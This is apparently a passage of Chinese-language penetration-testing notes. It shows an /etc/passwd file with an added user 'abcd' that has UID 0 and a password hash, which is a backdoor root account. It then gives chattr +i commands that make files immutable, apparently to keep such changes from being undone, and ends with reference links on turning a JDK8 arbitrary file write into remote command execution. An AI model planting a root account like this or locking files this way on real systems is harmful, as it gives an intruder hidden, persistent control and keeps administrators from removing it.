

# /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:./:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:./:/sbin/nologin
dbus:x:81:81:System message bus:./:/sbin/nologin
abcd:$1$abcd$xrOOYlu6mRIzfrQ1TKB7p.:0:0:/root:/bin/bash
```

# 不得任意更动文件或目录

```
1 chattr +i filename
```

# 递归处理，将指定目录下的所有文件及子目录一并处理。

```
1 chattr -R +i filename
```

# 解除

```
1 chattr -i filename
```

## JDK8从任意文件写到远程命令执行

参考：

<https://landgrey.me/blog/22/>

<https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks>

<https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E>

<https://www.cnblogs.com/Ye-ye/p/12748365.html>